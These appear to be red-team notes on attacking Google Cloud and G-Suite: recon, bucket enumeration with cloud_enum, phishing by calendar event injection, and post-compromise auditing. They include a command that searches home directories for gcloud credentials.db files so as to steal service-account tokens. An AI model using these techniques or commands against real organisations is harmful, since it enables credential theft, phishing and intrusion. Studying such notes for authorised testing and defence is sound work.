Auth methods:
• Web Access
• API – OAuth 2.0 protocol
• Access tokens – short lived access tokens for service accounts
• JSON Key Files – Long-lived key-pairs
• Credentials can be federated

Recon:
• G-Suite Usage
   ◇ Try authenticating with a valid company email address at Gmail

Google Storage Buckets:
• Google Cloud Platform also has a storage service called “Buckets”
• Cloud_enum from Chris Moberly (@initstring) https://github.com/initstring/cloud_enum
   ◇ Awesome tool for scanning all three cloud services for buckets and more
      ▪ Enumerates:
         - GCP open and protected buckets as well as Google App Engine sites
         - Azure storage accounts, blob containers, hosted DBs, VMs, and WebApps
         - AWS open and protected buckets

Phising G-Suite:
• Calendar Event Injection
• Silently injects events to target calendars
• No email required
• Google API allows to mark as accepted
• Bypasses the “don’t auto-add” setting
• Creates urgency w/ reminder notification
• Include link to phishing page

Steal Access Tokens:
• Google JSON Tokens and credentials.db
• JSON tokens typically used for service account access to GCP
• If a user authenticates with gcloud from an instance their creds get stored here:
    ~/.config/gcloud/credentials.db
    sudo find /home -name "credentials.db"
• JSON can be used to authenticate with gcloud and ScoutSuite

Post-compromise
• Cloud Storage, Compute, SQL, Resource manager, IAM
• ScoutSuite from NCC group https://github.com/nccgroup/ScoutSuite
• Tool for auditing multiple different cloud security providers
• Create Google JSON token to auth as service account
